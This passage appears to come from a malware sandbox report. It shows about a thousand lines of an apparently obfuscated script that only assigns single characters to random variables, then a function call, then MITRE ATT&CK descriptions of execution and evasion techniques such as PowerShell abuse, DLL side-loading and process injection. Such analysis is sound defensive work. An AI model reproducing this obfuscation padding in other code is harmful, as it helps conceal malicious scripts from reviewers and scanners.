249	uvcnkzoby = "v";
250	uvcnkzoby = "P";
251	uvcnkzoby = "m";
252	uvcnkzoby = "T";
253	uvcnkzoby = "q";
254	uvcnkzoby = "h";
255	uvcnkzoby = "Q";
256	uvcnkzoby = "S";
257	uvcnkzoby = "Z";
258	uvcnkzoby = "H";
259	uvcnkzoby = "M";
260	uvcnkzoby = "e";
261	uvcnkzoby = "l";
262	uvcnkzoby = "g";
263	uvcnkzoby = "Z";
264	uvcnkzoby = "H";
265	uvcnkzoby = "o";
266	uvcnkzoby = "S";
267	uvcnkzoby = "Q";
268	uvcnkzoby = "G";
269	uvcnkzoby = "j";
270	uvcnkzoby = "l";
271	uvcnkzoby = "L";
272	ztygoohf = "l";
273	ztygoohf = "Z";
274	ztygoohf = "b";
275	ztygoohf = "W";
276	ztygoohf = "l";
277	ztygoohf = "E";
278	ztygoohf = "F";
279	ztygoohf = "D";
280	ztygoohf = "d";
281	ztygoohf = "N";
282	ztygoohf = "m";
283	ztygoohf = "G";
284	ztygoohf = "T";
285	ztygoohf = "b";
286	ztygoohf = "V";
287	ztygoohf = "E";
288	ztygoohf = "c";
289	ztygoohf = "w";
290	ztygoohf = "F";
291	ztygoohf = "g";
292	ztygoohf = "k";
293	ztygoohf = "K";
294	ztygoohf = "K";
295	ztygoohf = "q";
296	ztygoohf = "Z";
297	ztygoohf = "O";
298	ztygoohf = "A";
299	ztygoohf = "e";
300	ztygoohf = "P";
301	ztygoohf = "k";
302	ztygoohf = "Y";
303	ztygoohf = "N";
304	ztygoohf = "D";
305	ztygoohf = "p";
306	ztygoohf = "N";
307	ztygoohf = "k";
308	ztygoohf = "A";
309	ztygoohf = "C";
310	ztygoohf = "e";
311	ztygoohf = "y";
312	ztygoohf = "H";
313	ztygoohf = "X";
314	ztygoohf = "r";
315	ztygoohf = "C";
316	rlvzq = "y";
317	rlvzq = "g";
318	rlvzq = "r";
319	rlvzq = "Z";
320	rlvzq = "M";
321	rlvzq = "o";
322	rlvzq = "Z";
323	rlvzq = "A";
324	rlvzq = "k";
325	rlvzq = "d";
326	rlvzq = "u";
327	rlvzq = "q";
328	rlvzq = "D";
329	rlvzq = "p";
330	rlvzq = "K";
331	rlvzq = "v";
332	rlvzq = "G";
333	rlvzq = "o";
334	rlvzq = "l";
335	rlvzq = "e";
336	rlvzq = "r";
337	rlvzq = "P";
338	rlvzq = "r";
339	rlvzq = "A";
340	rlvzq = "q";
341	rlvzq = "i";
342	osezj = "I";
343	osezj = "v";
344	osezj = "U";
345	osezj = "o";
346	osezj = "J";
347	osezj = "Y";
348	osezj = "r";
349	osezj = "Y";
350	osezj = "t";
351	osezj = "M";
352	osezj = "Y";
353	osezj = "P";
354	osezj = "N";
355	osezj = "G";
356	osezj = "R";
357	osezj = "j";
358	osezj = "L";
359	osezj = "u";
360	osezj = "D";
361	osezj = "K";
362	osezj = "T";
363	osezj = "P";
364	osezj = "l";
365	osezj = "m";
366	osezj = "w";
367	osezj = "A";
368	osezj = "a";
369	osezj = "K";
370	osezj = "P";
371	osezj = "N";
372	mfjvkqtr = "i";
373	mfjvkqtr = "w";
374	mfjvkqtr = "Y";
375	mfjvkqtr = "z";
376	mfjvkqtr = "x";
377	mfjvkqtr = "O";
378	mfjvkqtr = "e";
379	dzpldn = "b";
380	dzpldn = "G";
381	dzpldn = "r";
382	dzpldn = "d";
383	dzpldn = "n";
384	dzpldn = "R";
385	dzpldn = "Z";
386	dzpldn = "g";
387	dzpldn = "T";
388	dzpldn = "M";
389	dzpldn = "v";
390	mzcias = "e";
391	mzcias = "d";
392	mzcias = "L";
393	mzcias = "Y";
394	mzcias = "p";
395	mzcias = "h";
396	mzcias = "X";
397	mzcias = "q";
398	mzcias = "D";
399	mzcias = "t";
400	mzcias = "y";
401	mzcias = "H";
402	mzcias = "i";
403	mzcias = "W";
404	mzcias = "Z";
405	mzcias = "Y";
406	mzcias = "m";
407	mzcias = "n";
408	mzcias = "X";
409	mzcias = "p";
410	mzcias = "c";
411	mzcias = "w";
412	mzcias = "r";
413	mzcias = "K";
414	mzcias = "F";
415	mzcias = "Q";
416	mzcias = "f";
417	mzcias = "W";
418	mzcias = "i";
419	mzcias = "D";
420	mzcias = "r";
421	mzcias = "N";
422	mzcias = "&";
423	dcfzpvil = "p";
424	dcfzpvil = "W";
425	dcfzpvil = "w";
426	dcfzpvil = "q";
427	dcfzpvil = "e";
428	dcfzpvil = "I";
429	dcfzpvil = "a";
430	dcfzpvil = "w";
431	dcfzpvil = "C";
432	dcfzpvil = "z";
433	dcfzpvil = "J";
434	dcfzpvil = "u";
435	dcfzpvil = "K";
436	dcfzpvil = "T";
437	dcfzpvil = "W";
438	dcfzpvil = "N";
439	dcfzpvil = "E";
440	dcfzpvil = "k";
441	dcfzpvil = "K";
442	dcfzpvil = "n";
443	dcfzpvil = "X";
444	dcfzpvil = "M";
445	dcfzpvil = "I";
446	dcfzpvil = "n";
447	dcfzpvil = "p";
448	dcfzpvil = "p";
449	dcfzpvil = "g";
450	dcfzpvil = "q";
451	dcfzpvil = "R";
452	dcfzpvil = "o";
453	dcfzpvil = "m";
454	dcfzpvil = "C";
455	dcfzpvil = "r";
456	dcfzpvil = "f";
457	dcfzpvil = "x";
458	dcfzpvil = "T";
459	dcfzpvil = "P";
460	dcfzpvil = "q";
461	dcfzpvil = "f";
462	dcfzpvil = "q";
463	dcfzpvil = "j";
464	dcfzpvil = "g";
465	dcfzpvil = "A";
466	dcfzpvil = "m";
467	dcfzpvil = "s";
468	qnhxuret = "n";
469	qnhxuret = "X";
470	qnhxuret = "M";
471	qnhxuret = "a";
472	qnhxuret = "u";
473	qnhxuret = "O";
474	qnhxuret = "d";
475	qnhxuret = "f";
476	qnhxuret = "L";
477	qnhxuret = "R";
478	svzcen = "G";
479	svzcen = "g";
480	svzcen = "p";
481	svzcen = "O";
482	svzcen = "Y";
483	svzcen = "j";
484	svzcen = "O";
485	svzcen = "o";
486	svzcen = "V";
487	svzcen = "B";
488	svzcen = "j";
489	svzcen = "v";
490	svzcen = "U";
491	svzcen = "x";
492	svzcen = "t";
493	svzcen = "J";
494	svzcen = "P";
495	svzcen = "b";
496	svzcen = "R";
497	svzcen = "b";
498	svzcen = "P";
499	svzcen = "E";
500	svzcen = "m";
501	svzcen = "o";
502	svzcen = "t";
503	svzcen = "d";
504	svzcen = "x";
505	svzcen = "B";
506	svzcen = "d";
507	svzcen = "x";
508	svzcen = "n";
509	svzcen = "y";
510	svzcen = "\\";
511	vzrhjbb = "o";
512	vzrhjbb = "n";
513	vzrhjbb = "p";
514	vzrhjbb = "M";
515	vzrhjbb = "G";
516	vzrhjbb = "V";
517	vzrhjbb = "k";
518	vzrhjbb = "J";
519	vzrhjbb = "H";
520	vzrhjbb = "p";
521	vzrhjbb = "y";
522	vzrhjbb = "g";
523	vzrhjbb = "s";
524	vzrhjbb = "H";
525	vzrhjbb = "X";
526	vzrhjbb = "F";
527	vzrhjbb = "r";
528	vzrhjbb = "P";
529	vzrhjbb = "V";
530	vzrhjbb = "W";
531	vzrhjbb = "L";
532	vzrhjbb = "g";
533	vzrhjbb = "n";
534	vzrhjbb = "n";
535	vzrhjbb = "h";
536	vzrhjbb = "t";
537	vzrhjbb = "b";
538	vzrhjbb = "l";
539	vzrhjbb = "m";
540	vzrhjbb = "p";
541	vzrhjbb = "q";
542	vzrhjbb = "r";
543	gwmmudcbn = "b";
544	gwmmudcbn = "H";
545	gwmmudcbn = "U";
546	gwmmudcbn = "B";
547	gwmmudcbn = "l";
548	gwmmudcbn = "w";
549	gwmmudcbn = "S";
550	gwmmudcbn = "f";
551	gwmmudcbn = "m";
552	gwmmudcbn = "U";
553	gwmmudcbn = "N";
554	gwmmudcbn = "j";
555	gwmmudcbn = "I";
556	gwmmudcbn = "d";
557	adzgniz = "S";
558	adzgniz = "O";
559	adzgniz = "y";
560	adzgniz = "R";
561	adzgniz = "s";
562	adzgniz = "A";
563	adzgniz = "k";
564	adzgniz = "x";
565	adzgniz = "o";
566	adzgniz = "V";
567	adzgniz = "p";
568	adzgniz = "k";
569	adzgniz = "I";
570	adzgniz = "H";
571	adzgniz = "i";
572	adzgniz = "d";
573	adzgniz = "i";
574	adzgniz = "E";
575	adzgniz = "j";
576	adzgniz = "L";
577	adzgniz = "T";
578	adzgniz = "j";
579	adzgniz = "S";
580	adzgniz = "T";
581	adzgniz = "Y";
582	adzgniz = "r";
583	adzgniz = "j";
584	adzgniz = "E";
585	gsipg = "C";
586	gsipg = "s";
587	gsipg = "K";
588	gsipg = "P";
589	gsipg = "E";
590	gsipg = "s";
591	gsipg = "C";
592	gsipg = "z";
593	gsipg = "e";
594	gsipg = "f";
595	gsipg = "q";
596	gsipg = "m";
597	gsipg = "x";
598	gsipg = "e";
599	gsipg = "V";
600	gsipg = "N";
601	gsipg = "0";
602	affwjajp = "c";
603	zymccsn = "U";
604	zymccsn = "N";
605	zymccsn = "t";
606	zymccsn = "r";
607	zymccsn = "I";
608	zymccsn = "U";
609	zymccsn = "Q";
610	tlimqf = "X";
611	tlimqf = "U";
612	tlimqf = "x";
613	tlimqf = "M";
614	tlimqf = "v";
615	tlimqf = "P";
616	tlimqf = "u";
617	tlimqf = "C";
618	tlimqf = "n";
619	tlimqf = "H";
620	tlimqf = "K";
621	tlimqf = "d";
622	tlimqf = "o";
623	tlimqf = "m";
624	tlimqf = "K";
625	nwwnm = "j";
626	nwwnm = "v";
627	nwwnm = "n";
628	kytism = "z";
629	kytism = "h";
630	kytism = "R";
631	kytism = "G";
632	kytism = "F";
633	kytism = "Z";
634	kytism = "o";
635	kytism = "3";
636	gityrq = "V";
637	gityrq = "H";
638	gityrq = "h";
639	gityrq = "F";
640	gityrq = "A";
641	gityrq = "H";
642	gityrq = "D";
643	gityrq = "p";
644	gityrq = "X";
645	gityrq = "P";
646	gityrq = "v";
647	gityrq = "t";
648	gityrq = "J";
649	gityrq = "E";
650	gityrq = "e";
651	gityrq = "G";
652	gityrq = "t";
653	gityrq = "i";
654	gityrq = "Z";
655	gityrq = "d";
656	gityrq = "k";
657	gityrq = "h";
658	gityrq = "X";
659	gityrq = "A";
660	gityrq = "r";
661	gityrq = "o";
662	gityrq = "H";
663	gityrq = "o";
664	gityrq = "O";
665	gityrq = "y";
666	gityrq = "V";
667	gityrq = "m";
668	gityrq = "W";
669	gityrq = "V";
670	gityrq = "D";
671	gityrq = "z";
672	gityrq = "A";
673	gityrq = "Z";
674	gityrq = "h";
675	iesiurq = "E";
676	iesiurq = "6";
677	obwazrbm = "C";
678	obwazrbm = "w";
679	obwazrbm = "G";
680	obwazrbm = "q";
681	obwazrbm = "z";
682	obwazrbm = "I";
683	obwazrbm = "4";
684	yqquzmho = "Y";
685	yqquzmho = "G";
686	yqquzmho = "G";
687	yqquzmho = "m";
688	yqquzmho = "J";
689	yqquzmho = "U";
690	yqquzmho = "k";
691	yqquzmho = "T";
692	yqquzmho = "w";
693	yqquzmho = "f";
694	yqquzmho = "b";
695	yqquzmho = "N";
696	yqquzmho = "G";
697	yqquzmho = "k";
698	yqquzmho = "Y";
699	yqquzmho = "C";
700	yqquzmho = "X";
701	yqquzmho = "T";
702	yqquzmho = "a";
703	bcskd = "a";
704	bcskd = "t";
705	bcskd = "J";
706	bcskd = "u";
707	vlvcsmwm = "O";
708	vlvcsmwm = "X";
709	vlvcsmwm = "p";
710	vlvcsmwm = "L";
711	vlvcsmwm = "C";
712	vlvcsmwm = "u";
713	vlvcsmwm = "N";
714	vlvcsmwm = "o";
715	vlvcsmwm = "C";
716	vlvcsmwm = "M";
717	vlvcsmwm = "Z";
718	vlvcsmwm = "e";
719	vlvcsmwm = "I";
720	cyqpbv = "d";
721	cyqpbv = "f";
722	cyqpbv = "e";
723	cyqpbv = "l";
724	cyqpbv = "e";
725	cyqpbv = "A";
726	cyqpbv = "x";
727	cyqpbv = "O";
728	jyuqdjez = "e";
729	jyuqdjez = "I";
730	jyuqdjez = "U";
731	jyuqdjez = "C";
732	jyuqdjez = "G";
733	jyuqdjez = "K";
734	jyuqdjez = "k";
735	jyuqdjez = "L";
736	jyuqdjez = "D";
737	jyuqdjez = "Y";
738	jyuqdjez = "t";
739	jyuqdjez = "h";
740	jyuqdjez = "X";
741	jyuqdjez = "g";
742	jyuqdjez = "p";
743	jyuqdjez = "f";
744	jyuqdjez = "D";
745	jyuqdjez = "O";
746	jyuqdjez = "x";
747	jyuqdjez = "n";
748	jyuqdjez = "F";
749	jyuqdjez = "F";
750	jyuqdjez = "l";
751	jyuqdjez = "G";
752	jyuqdjez = "X";
753	jyuqdjez = "u";
754	jyuqdjez = "b";
755	jyuqdjez = "O";
756	jyuqdjez = "s";
757	jyuqdjez = "Q";
758	jyuqdjez = "g";
759	jyuqdjez = "U";
760	jyuqdjez = "e";
761	jyuqdjez = "K";
762	jyuqdjez = "p";
763	qnjzms = "k";
764	qnjzms = "b";
765	qnjzms = "v";
766	qnjzms = "E";
767	qnjzms = "X";
768	qnjzms = "J";
769	qnjzms = "k";
770	qnjzms = "B";
771	qnjzms = "I";
772	qnjzms = "G";
773	qnjzms = "l";
774	qnjzms = "Q";
775	qnjzms = "o";
776	qnjzms = "C";
777	qnjzms = "A";
778	qnjzms = "C";
779	qnjzms = "d";
780	qnjzms = "A";
781	qnjzms = "k";
782	qnjzms = "p";
783	qnjzms = "K";
784	qnjzms = "i";
785	qnjzms = "B";
786	qnjzms = "n";
787	qnjzms = " ";
788	ykbnyxhxl = "B";
789	ykbnyxhxl = "c";
790	ykbnyxhxl = "J";
791	ykbnyxhxl = "Q";
792	ykbnyxhxl = "k";
793	ykbnyxhxl = "K";
794	ykbnyxhxl = "A";
795	ykbnyxhxl = "9";
796	klrqj = "u";
797	klrqj = "i";
798	klrqj = "I";
799	klrqj = "i";
800	klrqj = "C";
801	klrqj = "k";
802	klrqj = "O";
803	klrqj = "R";
804	klrqj = "l";
805	vnurmuiky = "H";
806	vnurmuiky = "L";
807	vnurmuiky = "E";
808	vnurmuiky = "l";
809	vnurmuiky = "U";
810	vnurmuiky = "T";
811	vnurmuiky = "v";
812	vnurmuiky = "K";
813	vnurmuiky = "H";
814	vnurmuiky = "h";
815	vnurmuiky = "C";
816	vnurmuiky = "B";
817	vnurmuiky = "c";
818	vnurmuiky = "w";
819	vnurmuiky = "I";
820	vnurmuiky = "u";
821	vnurmuiky = "X";
822	vnurmuiky = "c";
823	vnurmuiky = "l";
824	vnurmuiky = "z";
825	vnurmuiky = "k";
826	vnurmuiky = "Q";
827	vnurmuiky = "h";
828	vnurmuiky = "V";
829	vnurmuiky = "\"";
830	tdlgf = "H";
831	tdlgf = "D";
832	tdlgf = "u";
833	tdlgf = "m";
834	tdlgf = "n";
835	tdlgf = "K";
836	tdlgf = "z";
837	tdlgf = "S";
838	tdlgf = "S";
839	tdlgf = "q";
840	tdlgf = "H";
841	tdlgf = "p";
842	tdlgf = "K";
843	tdlgf = "g";
844	tdlgf = "c";
845	tdlgf = "I";
846	tdlgf = "w";
847	tdlgf = "c";
848	tdlgf = "Y";
849	tdlgf = "N";
850	tdlgf = "l";
851	tdlgf = "D";
852	tdlgf = "Q";
853	tdlgf = "B";
854	tdlgf = "U";
855	tdlgf = "a";
856	tdlgf = "S";
857	tdlgf = "B";
858	tdlgf = "T";
859	tdlgf = "x";
860	tdlgf = "h";
861	tdlgf = "e";
862	tdlgf = "N";
863	tdlgf = "w";
864	myltyeplu = "c";
865	myltyeplu = "L";
866	myltyeplu = "t";
867	myltyeplu = "c";
868	myltyeplu = "Q";
869	myltyeplu = "x";
870	myltyeplu = "i";
871	myltyeplu = "w";
872	myltyeplu = "K";
873	myltyeplu = "l";
874	myltyeplu = "P";
875	myltyeplu = "m";
876	myltyeplu = "y";
877	myltyeplu = "H";
878	myltyeplu = "v";
879	myltyeplu = "O";
880	myltyeplu = "X";
881	myltyeplu = "l";
882	myltyeplu = "e";
883	myltyeplu = "V";
884	myltyeplu = "j";
885	myltyeplu = "Z";
886	myltyeplu = "R";
887	myltyeplu = "m";
888	myltyeplu = "s";
889	myltyeplu = "w";
890	myltyeplu = "U";
891	myltyeplu = "G";
892	myltyeplu = "t";
893	myltyeplu = "C";
894	myltyeplu = "L";
895	myltyeplu = "A";
896	myltyeplu = "e";
897	myltyeplu = "p";
898	myltyeplu = "Q";
899	myltyeplu = "K";
900	myltyeplu = "G";
901	myltyeplu = "K";
902	myltyeplu = "h";
903	myltyeplu = "D";
904	myltyeplu = "i";
905	myltyeplu = "S";
906	cckxm = "w";
907	cckxm = "K";
908	cckxm = "k";
909	cckxm = "V";
910	cckxm = "j";
911	cckxm = "A";
912	cckxm = "w";
913	cckxm = "i";
914	cckxm = "k";
915	cckxm = "D";
916	cckxm = "i";
917	cckxm = "E";
918	cckxm = "h";
919	cckxm = "g";
920	cckxm = "j";
921	cckxm = "c";
922	cckxm = "N";
923	cckxm = "L";
924	cckxm = "Y";
925	cckxm = "h";
926	cckxm = "p";
927	cckxm = "X";
928	cckxm = "o";
929	cckxm = "O";
930	cckxm = "h";
931	cckxm = "R";
932	cckxm = "t";
933	cckxm = "t";
934	cckxm = "h";
935	cckxm = "G";
936	cckxm = "o";
937	cckxm = "e";
938	cckxm = "U";
939	hviqzg = "w";
940	hviqzg = "p";
941	hviqzg = "c";
942	hviqzg = "i";
943	hviqzg = "l";
944	hviqzg = "D";
945	hviqzg = "H";
946	jsbzgrwd = "D";
947	jsbzgrwd = "a";
948	jsbzgrwd = "L";
949	jsbzgrwd = "K";
950	jsbzgrwd = "8";
951	muepld = "W";
952	muepld = "R";
953	muepld = "p";
954	muepld = "z";
955	muepld = "v";
956	muepld = "v";
957	muepld = "Q";
958	muepld = "l";
959	muepld = "W";
960	muepld = "n";
961	muepld = "E";
962	muepld = "C";
963	muepld = "v";
964	muepld = "i";
965	muepld = "I";
966	muepld = "Z";
967	muepld = "L";
968	muepld = "V";
969	muepld = "K";
970	muepld = "O";
971	muepld = "r";
972	muepld = "r";
973	muepld = "K";
974	muepld = "r";
975	muepld = "R";
976	muepld = "A";
977	muepld = "D";
978	muepld = "f";
979	muepld = "n";
980	muepld = "x";
981	muepld = "s";
982	muepld = "J";
983	muepld = "W";
984	muepld = "h";
985	muepld = "Q";
986	muepld = "A";
987	muepld = "F";
988	muepld = "S";
989	muepld = "M";
990	muepld = "M";
991	muepld = "B";
992	muepld = "P";
993	muepld = "P";
994	kvgyhjrek = "A";
995	kvgyhjrek = "u";
996	kvgyhjrek = "Q";
997	kvgyhjrek = "j";
998	swtafg = "B";
999	swtafg = "i";
1000	swtafg = "g";
1001	swtafg = "P";
1002	swtafg = "j";
1003	swtafg = "U";
1004	swtafg = "H";
1005	swtafg = "R";
1006	swtafg = "R";
1007	swtafg = "Q";
1008	swtafg = "e";
1009	swtafg = "d";
1010	swtafg = "e";
1011	swtafg = "L";
1012	swtafg = "z";
1013	swtafg = "H";
1014	swtafg = "G";
1015	swtafg = "f";
1016	swtafg = "d";
1017	swtafg = "S";
1018	swtafg = "D";
1019	swtafg = "U";
1020	swtafg = "h";
1021	swtafg = "d";
1022	swtafg = "k";
1023	jrsxgw = "Z";
1024	jrsxgw = "k";
1025	jrsxgw = "j";
1026	jrsxgw = "x";
1027	jrsxgw = "P";
1028	jrsxgw = "i";
1029	jrsxgw = "q";
1030	jrsxgw = "Y";
1031	jrsxgw = "V";
1032	jrsxgw = "o";
1033	jrsxgw = "O";
1034	jrsxgw = "W";
1035	jrsxgw = "M";
1036	jrsxgw = "y";
1037	jrsxgw = "M";
1038	jrsxgw = "M";
1039	jrsxgw = "x";
1040	jrsxgw = "I";
1041	jrsxgw = "O";
1042	jrsxgw = "v";
1043	jrsxgw = "R";
1044	jrsxgw = "2";
1045	nefrxqpu = "k";
1046	nefrxqpu = "V";
1047	nefrxqpu = "V";
1048	nefrxqpu = "g";
1049	nefrxqpu = "T";
1050	nefrxqpu = "l";
1051	nefrxqpu = "s";
1052	nefrxqpu = "o";
1053	nefrxqpu = "c";
1054	nefrxqpu = "x";
1055	nefrxqpu = "K";
1056	nefrxqpu = "x";
1057	nefrxqpu = "B";
1058	nefrxqpu = "r";
1059	nefrxqpu = "f";
1060	nefrxqpu = "E";
1061	nefrxqpu = "H";
1062	nefrxqpu = "L";
1063	nefrxqpu = "R";
1064	nefrxqpu = "y";
1065	nefrxqpu = "l";
1066	nefrxqpu = "i";
1067	nefrxqpu = "V";
1068	nefrxqpu = "V";
1069	nefrxqpu = "l";
1070	nefrxqpu = "g";
1071	nefrxqpu = "Y";
1072	nefrxqpu = "S";
1073	nefrxqpu = "V";
1074	nefrxqpu = "Z";
1075	nefrxqpu = "r";
1076	nefrxqpu = "l";
1077	nefrxqpu = "g";
1078	nefrxqpu = "u";
1079	nefrxqpu = "H";
1080	nefrxqpu = "q";
1081	nefrxqpu = "J";
1082	nefrxqpu = "Q";
1083	nefrxqpu = "I";
1084	nefrxqpu = "j";
1085	nefrxqpu = "c";
1086	nefrxqpu = "J";
1087	nefrxqpu = "T";
1088	wfdcodkgp = "z";
1089	wfdcodkgp = "p";
1090	wfdcodkgp = "K";
1091	wfdcodkgp = "H";
1092	wfdcodkgp = "t";
1093	wfdcodkgp = "G";
1094	wfdcodkgp = "R";
1095	wfdcodkgp = "m";
1096	wfdcodkgp = "N";
1097	wfdcodkgp = "L";
1098	wfdcodkgp = "O";
1099	wfdcodkgp = "h";
1100	wfdcodkgp = "p";
1101	wfdcodkgp = "B";
1102	wfdcodkgp = "V";
1103	wfdcodkgp = "y";
1104	wfdcodkgp = "W";
1105	wfdcodkgp = "I";
1106	wfdcodkgp = "Y";
1107	wfdcodkgp = "P";
1108	wfdcodkgp = "y";
1109	wfdcodkgp = "h";
1110	wfdcodkgp = "Y";
1111	ngnjj = "p";
1112	ngnjj = "p";
1113	ngnjj = "k";
1114	ngnjj = "n";
1115	ngnjj = "Z";
1116	ngnjj = "u";
1117	ngnjj = "d";
1118	ngnjj = "V";
1119	ngnjj = "q";
1120	ngnjj = "z";
1121	ngnjj = "H";
1122	ngnjj = "k";
1123	ngnjj = "F";
1124	ngnjj = "n";
1125	ngnjj = "y";
1126	ngnjj = "X";
1127	ngnjj = "M";
1128	ngnjj = "o";
1129	ngnjj = "G";
1130	ngnjj = "C";
1131	ngnjj = "g";
1132	ngnjj = "I";
1133	ngnjj = "e";
1134	ngnjj = "c";
1135	ngnjj = "F";
1136	ngnjj = "Z";
1137	ngnjj = "h";
1138	ngnjj = "d";
1139	ngnjj = "Z";
1140	ngnjj = "N";
1141	ngnjj = "y";
1142	ngnjj = "m";
1143	ngnjj = "5";
1144	bhrbyo = "q";
1145	bhrbyo = "w";
1146	bhrbyo = "J";
1147	bhrbyo = "H";
1148	bhrbyo = "Z";
1149	bhrbyo = "g";
1150	bhrbyo = "x";
1151	bhrbyo = "T";
1152	bhrbyo = "f";
1153	bhrbyo = "M";
1154	bhrbyo = "Q";
1155	bhrbyo = "k";
1156	bhrbyo = "c";
1157	bhrbyo = "S";
1158	bhrbyo = "O";
1159	bhrbyo = "v";
1160	bhrbyo = "M";
1161	bhrbyo = "K";
1162	bhrbyo = "v";
1163	bhrbyo = "C";
1164	bhrbyo = "f";
1165	bhrbyo = "g";
1166	bhrbyo = "f";
1167	bhrbyo = "A";
1168	bhrbyo = "v";
1169	bhrbyo = "I";
1170	bhrbyo = "D";
1171	bhrbyo = "v";
1172	bhrbyo = "x";
1173	bhrbyo = "x";
1174	eacwugiei = "Q";
1175	eacwugiei = "e";
1176	eacwugiei = "m";
1177	eacwugiei = "M";
1178	eacwugiei = "y";
1179	eacwugiei = "J";
1180	eacwugiei = "V";
1181	eacwugiei = "h";
1182	eacwugiei = "L";
1183	eacwugiei = "t";
1184	eacwugiei = "S";
1185	eacwugiei = "I";
1186	eacwugiei = "O";
1187	eacwugiei = "v";
1188	eacwugiei = "e";
1189	eacwugiei = "m";
1190	eacwugiei = "i";
1191	eacwugiei = "o";
1192	eacwugiei = "q";
1193	eacwugiei = "q";
1194	eacwugiei = "E";
1195	eacwugiei = "v";
1196	eacwugiei = "_";
1197	vzxgelag = "p";
1198	vzxgelag = "h";
1199	vzxgelag = "A";
1200	vzxgelag = "H";
1201	vzxgelag = "V";
1202	vzxgelag = "H";
1203	vzxgelag = "I";
1204	vzxgelag = "s";
1205	vzxgelag = "p";
1206	vzxgelag = "k";
1207	vzxgelag = "u";
1208	vzxgelag = "S";
1209	vzxgelag = "h";
1210	vzxgelag = "J";
1211	vzxgelag = "A";
1212	vzxgelag = "p";
1213	vzxgelag = "T";
1214	vzxgelag = "J";
1215	vzxgelag = "B";
1216	vzxgelag = "D";
1217	vzxgelag = "j";
1218	vzxgelag = "P";
1219	vzxgelag = "@";
1220	ezjxcuwxd = "k";
1221	ezjxcuwxd = "f";
1222	obyjrrk = "i";
1223	obyjrrk = "o";
1224	obyjrrk = "Z";
1225	obyjrrk = "c";
1226	obyjrrk = "Q";
1227	obyjrrk = "u";
1228	obyjrrk = "V";
1229	obyjrrk = "s";
1230	obyjrrk = "z";
1231	obyjrrk = "t";
1232	obyjrrk = "c";
1233	obyjrrk = "z";
1234	obyjrrk = "p";
1235	obyjrrk = "R";
1236	obyjrrk = "d";
1237	obyjrrk = "T";
1238	obyjrrk = "o";
1239	avdxfmtf = "V";
1240	avdxfmtf = "o";
1241	avdxfmtf = "V";
1242	avdxfmtf = "u";
1243	avdxfmtf = "W";
1244	avdxfmtf = "q";
1245	avdxfmtf = "N";
1246	avdxfmtf = "K";
1247	avdxfmtf = "W";
1248	avdxfmtf = "g";
1249	avdxfmtf = "G";
1250	avdxfmtf = "O";
1251	avdxfmtf = "Z";
1252	avdxfmtf = "s";
1253	avdxfmtf = "c";
1254	avdxfmtf = "C";
1255	avdxfmtf = "t";
1256	vvyrq = "K";
1257	vvyrq = "L";
1258	vvyrq = "C";
1259	vvyrq = "M";
1260	vvyrq = "g";
1261	vvyrq = "1";
1262	kdalmpvsv = "r";
1263	kdalmpvsv = "d";
1264	kdalmpvsv = "g";
1265	kdalmpvsv = "j";
1266	kdalmpvsv = "J";
1267	kdalmpvsv = "%";
1268	qjnsb = "R";
1269	qjnsb = "f";
1270	qjnsb = ":";
1271	xmjnjn = "L";
1272	xmjnjn = "X";
1273	xmjnjn = "O";
1274	xmjnjn = "L";
1275	xmjnjn = "U";
1276	xmjnjn = "s";
1277	xmjnjn = "D";
1278	xmjnjn = "X";
1279	xmjnjn = "Q";
1280	xmjnjn = "E";
1281	xmjnjn = "S";
1282	xmjnjn = "N";
1283	xmjnjn = "M";
1284	xmjnjn = "Y";
1285	xmjnjn = "z";
1286	xmjnjn = "E";
1287	xmjnjn = "W";
1288	aioxzej ( );	aioxzej() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
